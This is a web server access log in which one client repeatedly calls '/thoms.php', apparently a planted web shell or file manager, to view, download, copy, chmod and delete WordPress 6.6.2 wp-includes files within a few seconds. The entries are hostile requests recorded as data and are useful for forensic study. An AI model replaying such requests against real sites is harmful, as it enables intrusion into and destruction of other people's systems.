45.135.193.11 - - [11/Sep/2026:23:32:55 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-block.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-block.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:55 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=class-wp-block-bindings-registry.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:55 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-block.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:55 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=registration.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=registration.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:55 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-block-pattern-categories-registry.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-block-pattern-categories-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:55 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=registration.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:55 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-wp-block-pattern-categories-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:55 -0400] "GET /thoms.php?dl=class-wp-user-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-user-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:55 -0400] "GET /thoms.php?del=class-wp-user-request.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-user-request.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:55 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?dl=class-wp-user-query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:55 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?del=class-wp-user-request.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:55 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=https-migration.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=https-migration.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:55 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=https-migration.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:55 -0400] "GET /thoms.php?chmod=kses.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=kses.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:56 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=kses.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:56 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=ms-default-filters.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=ms-default-filters.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:56 -0400] "GET /thoms.php?dl=ms-default-filters.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=ms-default-filters.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:56 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=ms-default-filters.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:56 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-json.php HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-json.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:56 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=ms-default-filters.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:56 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-recovery-mode-cookie-service.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-recovery-mode-cookie-service.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:56 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes&view=class-json.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:56 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-recovery-mode-cookie-service.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:56 -0400] "GET /thoms.php?dl=class-wp-simplepie-sanitize-kses.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-simplepie-sanitize-kses.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:56 -0400] "GET /thoms.php?chmod=class-wp-theme-json-resolver.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme-json-resolver.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:56 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22186 "https://163.245.207.76:443/thoms.php?dl=class-wp-simplepie-sanitize-kses.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:56 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=class-wp-theme-json-resolver.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:56 -0400] "GET /thoms.php?chmod=plugin.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=plugin.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:56 -0400] "GET /thoms.php?chmod=class-walker-category-dropdown.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-walker-category-dropdown.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:56 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=plugin.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:56 -0400] "GET /thoms.php?dl=class-wp-duotone.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-duotone.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:56 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=class-walker-category-dropdown.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:56 -0400] "GET /thoms.php?chmod=ms-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=ms-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:56 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=class-wp-duotone.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:57 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22253 "https://163.245.207.76:443/thoms.php?chmod=ms-functions.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:57 -0400] "GET /thoms.php?chmod=sitemaps.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=sitemaps.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:57 -0400] "GET /thoms.php?chmod=block-patterns.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=block-patterns.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:57 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22222 "https://163.245.207.76:443/thoms.php?chmod=sitemaps.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:57 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?chmod=block-patterns.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:57 -0400] "GET /thoms.php?chmod=class-phpmailer.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-phpmailer.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:57 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fl10n.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fl10n.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:57 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22263 "https://163.245.207.76:443/thoms.php?chmod=class-phpmailer.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:57 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fl10n.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:57 -0400] "GET /thoms.php?dl=class-wp-block-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:57 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-dependency.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-dependency.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:57 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?dl=class-wp-block-template.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:57 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fclass-wp-dependency.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:57 -0400] "GET /thoms.php?del=class-wp-plugin-dependencies.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?del=class-wp-plugin-dependencies.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:57 -0400] "GET /thoms.php?dl=class-wp-roles.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=class-wp-roles.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:57 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?del=class-wp-plugin-dependencies.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:57 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?dl=class-wp-roles.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:57 -0400] "GET /thoms.php?dl=date.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=date.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:57 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fembed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fembed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:57 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?dl=date.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22214 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fembed.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:58 -0400] "GET /thoms.php?dl=query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:58 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fimages HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fimages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?dl=query.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22225 "https://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fimages" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:58 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fstyle-engine&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fstyle-engine&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:58 -0400] "GET /thoms.php?chmod=class-wp-classic-to-block-menu-converter.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-classic-to-block-menu-converter.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22263 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW%2Fwp-includes%2Fstyle-engine&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22259 "https://163.245.207.76:443/thoms.php?chmod=class-wp-classic-to-block-menu-converter.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:58 -0400] "GET /thoms.php?chmod=class-wp-theme-json-schema.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=class-wp-theme-json-schema.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:58 -0400] "GET /thoms.php?dl=rest-api.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?dl=rest-api.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22227 "https://163.245.207.76:443/thoms.php?chmod=class-wp-theme-json-schema.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:58 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22213 "https://163.245.207.76:443/thoms.php?dl=rest-api.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:32:58 -0400] "GET /thoms.php?chmod=template-loader.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?chmod=template-loader.php&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
